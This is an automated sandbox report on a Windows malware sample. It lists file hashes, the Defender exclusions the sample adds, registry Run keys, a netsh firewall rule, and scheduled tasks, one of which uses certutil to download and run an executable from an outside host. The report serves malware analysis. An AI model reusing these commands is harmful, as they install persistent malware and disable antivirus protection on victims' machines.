Analysis
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max time kernel
32s -
max time network
140s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:50
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Mal.Generic-S.8078.16566.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Mal.Generic-S.8078.16566.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.Mal.Generic-S.8078.16566.exe
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Size
3.9MB
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MD5
20ae9ae6d8e93d8035ef0a77a7818491
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SHA1
7fa74877d5dd1c8ea6840bf4a06985c72322a5e9
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SHA256
b1ed7bb07b8e8086daf08820e00d383fba1ba39a6ec2cc02a08d1868eb68c20f
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SHA512
1db1a258489f2e40717277514dd3359a543ab649de81e9de43796986ccd2c0a1632a6efbd4283b8d7440f10a04d9427b3b9b2c7bbe0ed9bc2713f469992ae047
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 336 csrss.exe 2004 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.exepatch.exepid process 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe 860 2004 patch.exe 2004 patch.exe 2004 patch.exe 2004 patch.exe 2004 patch.exe -
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LivelyMorning = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Mal.Generic-S.8078.16566.exe = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\LivelyMorning = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Mal.Generic-S.8078.16566.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Mal.Generic-S.8078.16566.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1596 schtasks.exe 1692 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.exeSecuriteInfo.com.Mal.Generic-S.8078.16566.exepid process 1668 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.execsrss.exedescription pid process Token: SeDebugPrivilege 1668 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Token: SeImpersonatePrivilege 1668 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe Token: SeSystemEnvironmentPrivilege 336 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.8078.16566.execmd.exedescription pid process target process PID 1124 wrote to memory of 1064 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe cmd.exe PID 1124 wrote to memory of 1064 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe cmd.exe PID 1124 wrote to memory of 1064 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe cmd.exe PID 1124 wrote to memory of 1064 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe cmd.exe PID 1064 wrote to memory of 688 1064 cmd.exe netsh.exe PID 1064 wrote to memory of 688 1064 cmd.exe netsh.exe PID 1064 wrote to memory of 688 1064 cmd.exe netsh.exe PID 1124 wrote to memory of 336 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe csrss.exe PID 1124 wrote to memory of 336 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe csrss.exe PID 1124 wrote to memory of 336 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe csrss.exe PID 1124 wrote to memory of 336 1124 SecuriteInfo.com.Mal.Generic-S.8078.16566.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.8078.16566.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.8078.16566.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.8078.16566.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.8078.16566.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
20ae9ae6d8e93d8035ef0a77a7818491
SHA17fa74877d5dd1c8ea6840bf4a06985c72322a5e9
SHA256b1ed7bb07b8e8086daf08820e00d383fba1ba39a6ec2cc02a08d1868eb68c20f
SHA5121db1a258489f2e40717277514dd3359a543ab649de81e9de43796986ccd2c0a1632a6efbd4283b8d7440f10a04d9427b3b9b2c7bbe0ed9bc2713f469992ae047
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
20ae9ae6d8e93d8035ef0a77a7818491
SHA17fa74877d5dd1c8ea6840bf4a06985c72322a5e9
SHA256b1ed7bb07b8e8086daf08820e00d383fba1ba39a6ec2cc02a08d1868eb68c20f
SHA5121db1a258489f2e40717277514dd3359a543ab649de81e9de43796986ccd2c0a1632a6efbd4283b8d7440f10a04d9427b3b9b2c7bbe0ed9bc2713f469992ae047
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\Windows\rss\csrss.exeMD5
20ae9ae6d8e93d8035ef0a77a7818491
SHA17fa74877d5dd1c8ea6840bf4a06985c72322a5e9
SHA256b1ed7bb07b8e8086daf08820e00d383fba1ba39a6ec2cc02a08d1868eb68c20f
SHA5121db1a258489f2e40717277514dd3359a543ab649de81e9de43796986ccd2c0a1632a6efbd4283b8d7440f10a04d9427b3b9b2c7bbe0ed9bc2713f469992ae047
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memory/336-10-0x0000000000000000-mapping.dmp
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memory/336-12-0x0000000004C70000-0x0000000005016000-memory.dmpFilesize
3.6MB
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memory/336-13-0x0000000005020000-0x0000000005031000-memory.dmpFilesize
68KB
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memory/636-22-0x000007FEF6780000-0x000007FEF69FA000-memory.dmpFilesize
2.5MB
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memory/688-7-0x0000000000000000-mapping.dmp
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memory/1064-6-0x0000000000000000-mapping.dmp
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memory/1124-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1124-4-0x0000000004F90000-0x0000000004FA1000-memory.dmpFilesize
68KB
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memory/1124-3-0x0000000004BE0000-0x0000000004F86000-memory.dmpFilesize
3.6MB
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memory/1668-0-0x0000000004A20000-0x0000000004DC6000-memory.dmpFilesize
3.6MB
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memory/1668-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1668-1-0x0000000004DD0000-0x0000000004DE1000-memory.dmpFilesize
68KB